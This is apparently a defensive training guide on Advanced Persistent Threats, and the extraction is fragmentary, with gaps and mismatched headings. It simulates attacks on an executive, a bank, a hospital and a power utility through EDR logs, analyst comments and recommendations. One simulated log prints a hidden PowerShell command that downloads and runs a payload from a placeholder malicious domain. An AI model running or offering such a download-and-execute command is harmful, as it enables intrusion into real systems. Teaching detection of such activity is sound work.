Understanding Advanced Persistent Threat (APT)
Understanding Advanced Persistent Threat (APT)
ADVANCED
PERSISTENT
THREAT (APT) IN
CYBERSECURITY
WITH EXAMPLES
AND
SIMULATIONS
BY IZZMIER IZZUDDIN
KEY CHARACTERISTICS OF APT:
2. APT3 (Buckeye)
6. APT32 (OceanLotus)
7. APT33 (Elfin)
8. APT34 (OilRig)
Stage 1: Reconnaissance
Analyst Comment: The scanning of ports 80 (HTTP), 443 (HTTPS), and 3389 (RDP)
indicates reconnaissance activity to find vulnerable services.
• EDR Logs:
o Creation of a scheduled task to maintain persistence.
o Time: 2024-08-01 10:30:45
o Host: EXEC-PC
o Task Name: UpdateChecker
o Command: C:\Windows\System32\cmd.exe /c powershell -nop -w
hidden -c "IEX (New-Object
Net.WebClient).DownloadString('http://maliciousdomain.com/payload')"
• EDR Logs:
o Execution of an exploit for privilege escalation.
o Time: 2024-08-01 11:00:25
o Host: EXEC-PC
o Process: exploit.exe
o Privileges: SYSTEM
Analyst Comment: The unexpected SMB connections from the compromised PC to the
financial data server indicate lateral movement within the network.
Analyst Comment: The significant data transfer to an external server using HTTPS
indicates data exfiltration activities.
Stage 7: Cleanup
Analyst Comment: The clearing of system event logs using a tool indicates the attacker
is attempting to cover their tracks.
Summary of Attack: The attack began with reconnaissance, where the attacker
scanned public web servers for open ports. The initial compromise was achieved
through a spear-phishing email targeting a senior executive, leading to the execution of
a Cobalt Strike beacon. Persistence was established by creating a scheduled task to
download a payload. The attacker escalated privileges to SYSTEM using a known exploit
and moved laterally within the network by making SMB connections to the financial
data server. Data exfiltration occurred via large data transfers to an external server
using HTTPS. Finally, the attacker attempted to clean up by deleting system event logs.
Recommendations:
1. Email Security:
o Implement advanced email filtering and phishing protection.
o Conduct regular phishing awareness training for employees, especially
high-ranking executives.
2. Endpoint Protection:
o Deploy and configure robust EDR solutions to detect and block
suspicious activities, such as the execution of malicious macros and
exploits.
o Regularly update and patch all systems to prevent the exploitation of
known vulnerabilities.
3. Network Monitoring:
o Monitor network traffic for unusual patterns, such as unexpected SMB
connections and large data transfers.
o Implement network segmentation to limit the spread of lateral
movement.
4. Log Management:
o Ensure comprehensive logging and implement alerting mechanisms for
critical actions, such as the creation of scheduled tasks and log deletion.
o Regularly review logs to detect early signs of malicious activities.
5. Incident Response:
o Develop and regularly test an incident response plan, including
procedures for detecting and responding to APT attacks.
o Conduct threat hunting exercises to proactively identify potential threats.
6. Data Protection:
o Implement data loss prevention (DLP) solutions to monitor and prevent
unauthorised data transfers.
o Encrypt sensitive data both at rest and in transit to protect it from
exfiltration.
Stage 2: Reconnaissance
• EDR Logs:
o Execution of a known privilege escalation exploit.
o Time: 2024-08-01 09:00:45
o Host: Employee-PC
o Process: escalate_privileges.exe
o Privileges: Administrator
o Analyst Comment: The execution of the exploit resulted in administrative
privileges.
Stage 7: Cleanup
Summary of Attack: The attack began with reconnaissance, where the attacker
scanned the financial institution’s internal systems for open ports. The initial
compromise was achieved through a Cross-Site Scripting (XSS) attack on the employee
portal, allowing the attacker to steal credentials. Persistence was established by
uploading a backdoor executable. The attacker then escalated privileges to an
administrator using a local exploit. Lateral movement was observed with SMB
connections from the compromised employee PC to the core banking server. Data
exfiltration occurred via SFTP, transferring sensitive financial data to an external server.
Finally, the attacker attempted to clean up by deleting system event logs.
Recommendations:
Stage 1: Reconnaissance
Analyst Comment: The scanning of ports 80 (HTTP), 443 (HTTPS), and 3389 (RDP)
indicates reconnaissance activity to find vulnerable services.
• Database Logs:
o Unusual queries executed indicating SQL injection success.
Analyst Comment: The SQL injection attack on the patient management system
resulted in unauthorised access to the database.
Analyst Comment: The upload of a web shell to the server indicates the attacker is
establishing persistence.
• EDR Logs:
o Execution of a known local privilege escalation exploit.
Objective: Move through the network to access the Electronic Health Record (EHR)
system.
Analyst Comment: The unexpected RDP connections from the web server to the EHR
server indicate lateral movement.
Analyst Comment: The significant data transfer to an external server using FTP
indicates data exfiltration.
Stage 7: Cleanup
Analyst Comment: The clearing of event logs using a tool indicates the attacker is
attempting to cover their tracks.
Summary of Attack:
The attack began with reconnaissance, where the attacker scanned critical healthcare
systems for open ports. The initial compromise was achieved through an SQL injection
attack on the patient management system, allowing the attacker to access the
database. Persistence was established by uploading a web shell to the server. The
attacker then escalated privileges to SYSTEM using a local exploit. Lateral movement
was observed with RDP connections from the web server to the EHR server. Data
exfiltration occurred via FTP, transferring sensitive patient data to an external server.
Finally, the attacker attempted to clean up by using a log cleaning tool to delete event
logs.
Recommendations:
Stage 1: Reconnaissance
• EDR Logs:
o Execution of a macro from the malicious Excel attachment.
• EDR Logs:
o Execution of a privilege escalation exploit.
Stage 7: Cleanup
Analyst Comment: The clearing of system event logs using a log cleaning tool indicates
the attacker is attempting to cover their tracks.
Summary of Attack:
The attack began with reconnaissance, where the attacker scanned for open ports on
the financial institution's systems. The initial compromise was achieved through a
phishing email containing a malicious Excel attachment that executed a macro.
Persistence was established by creating a scheduled task named "SystemUpdate." The
attacker then escalated privileges to SYSTEM using a known exploit. Lateral movement
was observed with SMB traffic between internal systems. Data exfiltration occurred via
large data transfers to an external server. Finally, the attacker attempted to clean up by
clearing system event logs.
Recommendations:
1. Email Security:
o Implement advanced email filtering and phishing protection.
o Conduct regular phishing awareness training for employees, especially
those in sensitive departments like finance.
2. Endpoint Protection:
o Deploy and configure robust EDR solutions to detect and block
suspicious activities, such as the creation of unauthorised scheduled
tasks and execution of macros.
o Regularly update and patch all systems to prevent the exploitation of
known vulnerabilities.
3. Network Monitoring:
o Monitor network traffic for unusual patterns, such as large data transfers
to external destinations.
o Implement network segmentation to limit the spread of lateral
movement.
4. Log Management:
o Ensure comprehensive logging and implement alerting mechanisms for
critical actions, such as privilege escalation and log clearing.
o Regularly review logs to detect early signs of malicious activities.
5. Incident Response:
o Develop and regularly test an incident response plan, including
procedures for detecting and responding to APT attacks.
o Conduct threat hunting exercises to proactively identify potential threats.
6. Data Protection:
o Implement data loss prevention (DLP) solutions to monitor and prevent
unauthorised data transfers.
o Encrypt sensitive data both at rest and in transit to protect it from
exfiltration.
Scenario 5: APT Attack on a Power Utility Company
Stage 1: Reconnaissance
Analyst Comment: The repeated DNS queries for internal domains suggest
reconnaissance to map the internal network.
• EDR Logs:
o Execution of a privilege escalation exploit.
Objective: Move through the network to access critical operational technology (OT)
systems.
Stage 7: Disruption
Stage 8: Cleanup
Analyst Comment: The clearing of system event logs using a log cleaning tool indicates
the attacker is attempting to cover their tracks.
Summary of Attack:
The attack began with reconnaissance, where the attacker used DNS queries to map
the internal network. The initial compromise was achieved through brute-force
attempts on the RDP service of the SCADA server, leading to a successful connection.
Persistence was established by installing a remote access tool (RAT) named
"RemoteAccessService." The attacker then escalated privileges to SYSTEM using a
known exploit. Lateral movement was observed with SMB traffic between internal
systems. Data exfiltration occurred via large data transfers to an external server. The
attacker then made unauthorised changes to the control system configurations,
leading to potential disruption of operations. Finally, the attacker attempted to clean up
by using a log cleaning tool to delete system event logs.
Recommendations:
1. Access Control:
o Implement multi-factor authentication (MFA) for remote access services
like RDP.
o Restrict RDP access to only necessary users and systems, and
implement strong password policies.
2. Endpoint Protection:
o Deploy and configure robust EDR solutions to detect and block
suspicious activities, such as brute-force attempts and the installation of
unauthorised services.
o Regularly update and patch all systems to prevent the exploitation of
known vulnerabilities.
3. Network Monitoring:
o Monitor network traffic for unusual patterns, such as increased SMB
traffic and large data transfers to external destinations.
o Implement network segmentation to limit the spread of lateral
movement.
4. Log Management:
o Ensure comprehensive logging and implement alerting mechanisms for
critical actions, such as privilege escalation and log clearing.
o Regularly review logs to detect early signs of malicious activities.
5. Incident Response:
o Develop and regularly test an incident response plan, including
procedures for detecting and responding to APT attacks on critical
infrastructure.
o Conduct threat hunting exercises to proactively identify potential threats.
6. Data Protection:
o Implement data loss prevention (DLP) solutions to monitor and prevent
unauthorised data transfers.
o Encrypt sensitive operational data both at rest and in transit to protect it
from exfiltration.
7. SCADA Security:
o Regularly audit and monitor SCADA system configurations for
unauthorised changes.
o Implement strict access controls and monitoring for SCADA systems to
prevent unauthorised access and configuration changes.